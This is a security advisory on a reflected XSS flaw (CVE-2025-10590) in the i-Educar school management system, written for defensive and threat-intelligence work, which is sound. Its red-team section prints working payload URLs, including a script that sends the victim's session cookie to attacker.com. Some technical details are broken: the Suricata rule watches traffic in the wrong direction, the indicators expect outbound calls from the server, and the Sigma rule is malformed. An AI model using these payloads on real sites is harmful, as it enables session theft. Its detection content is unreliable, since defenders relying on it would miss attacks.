CVE-2025-10590

Executive Summary

CVE-2025-10590 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in Portabilis i-Educar, an open-source educational management system, up to version 2.10. The flaw resides in the /intranet/educar_usuario_det.php file, where the ref_pessoa parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the ref_pessoa argument. When a logged-in user clicks the link, the script executes in the context of the i-Educar application, potentially leading to session hijacking, credential theft, or defacement. The exploit has been publicly released, increasing the risk of active exploitation. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability affects the i-Educar PHP application, which is distributed as a self-hosted web application. It is not an NPM, PyPI, Go, or Ruby package. The risk is primarily to organizations that have deployed i-Educar on their own infrastructure. The lack of a vendor patch means that organizations must rely on manual mitigation or custom security controls.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click on the crafted link.
• Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No direct impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the public availability of exploit code and the lack of a patch elevate the urgency for detection and mitigation.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the PHP file /intranet/educar_usuario_det.php. The ref_pessoa parameter is taken from the HTTP GET request and directly embedded into the HTML response without proper encoding or validation. An attacker can inject arbitrary JavaScript by crafting a URL like:

https://target-ieducar.com/intranet/educar_usuario_det.php?ref_pessoa=<script>alert('XSS')</script>

When a victim visits this URL, the browser interprets the injected script and executes it. The script runs in the security context of the i-Educar application, allowing the attacker to:

• Steal session cookies (if not HttpOnly).
• Perform actions on behalf of the victim (e.g., create admin accounts).
• Redirect the user to a phishing page.
• Deface the application interface.

The vulnerability is particularly dangerous because i-Educar is often used in educational institutions where users may have elevated privileges. The lack of input sanitization on the ref_pessoa parameter is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (i-Educar <= 2.10):

<?php
// /intranet/educar_usuario_det.php
$ref_pessoa = $_GET['ref_pessoa'];
echo "User ID: " . $ref_pessoa;
?>

Patched Code (Hypothetical):

<?php
// /intranet/educar_usuario_det.php
$ref_pessoa = htmlspecialchars($_GET['ref_pessoa'], ENT_QUOTES, 'UTF-8');
echo "User ID: " . $ref_pessoa;
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection. Since no official patch exists, organizations must implement this fix manually or use a Web Application Firewall (WAF) to filter malicious input.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy i-Educar 2.10 on a local server (e.g., using Docker or a LAMP stack).
2. Ensure the application is accessible via a browser.

Exploitation Steps:

1. Craft a malicious URL with a JavaScript payload:

   http://localhost/intranet/educar_usuario_det.php?ref_pessoa=<script>alert(document.cookie)</script>
   

2. Send the URL to a victim (e.g., via email or social engineering).
3. When the victim clicks the link, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

http://localhost/intranet/educar_usuario_det.php?ref_pessoa=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>

Note: No public exploit code from Exploit-DB was provided. The above is a standard XSS exploitation technique.

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious GET requests to /intranet/educar_usuario_det.php containing <script> tags or encoded JavaScript.
2. Use a WAF to block requests with XSS patterns in the ref_pessoa parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply the hypothetical patch by adding htmlspecialchars() to the vulnerable parameter.
• If patching is not possible, restrict access to the vulnerable file using .htaccess or a reverse proxy.
• Educate users about phishing attacks that exploit this vulnerability.

Indicators of Compromise (IOCs)

• URL Pattern: */intranet/educar_usuario_det.php?ref_pessoa=*
• Log Entries: GET requests with ref_pessoa containing <script>, %3Cscript%3E, or other HTML/JavaScript encodings.
• Network Traffic: Outbound connections to attacker-controlled domains from the i-Educar server (if payload exfiltrates data).
• File Changes: Unexpected modifications to i-Educar files (e.g., added admin users).

Detection Engineering

YARA Rule

rule CVE_2025_10590_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-10590 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10590"
    strings:
        $xss_pattern1 = /ref_pessoa=.*<script/i
        $xss_pattern2 = /ref_pessoa=.*%3Cscript/i
        $xss_pattern3 = /ref_pessoa=.*onerror/i
        $xss_pattern4 = /ref_pessoa=.*alert/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-10590 XSS Attempt in i-Educar
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting the ref_pessoa parameter in i-Educar
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/intranet/educar_usuario_det.php'
        cs-uri-query|contains|any:
            - '<script'
            - '%3Cscript'
            - 'onerror'
            - 'alert'
    condition: selection
falsepositives:
    - Legitimate use of the parameter with non-malicious content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10590 XSS Attempt in i-Educar"; flow:to_server,established; content:"GET"; http_method; content:"/intranet/educar_usuario_det.php"; http_uri; content:"ref_pessoa="; http_uri; pcre:"/ref_pessoa=.*(<script|%3Cscript|onerror|alert)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Apply the hypothetical patch by adding htmlspecialchars() to the ref_pessoa parameter in /intranet/educar_usuario_det.php.
2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS patterns in the ref_pessoa parameter.
3. Access Control: Restrict access to the vulnerable file using IP whitelisting or authentication if possible.
4. User Education: Train users to avoid clicking suspicious links and to report unusual behavior.
5. Monitor: Continuously monitor logs for exploitation attempts and anomalous activity.
6. Vendor Contact: Reach out to Portabilis for an official patch or consider migrating to a supported version.

Valters IT
DevSecOps & Cyber Threat Intelligence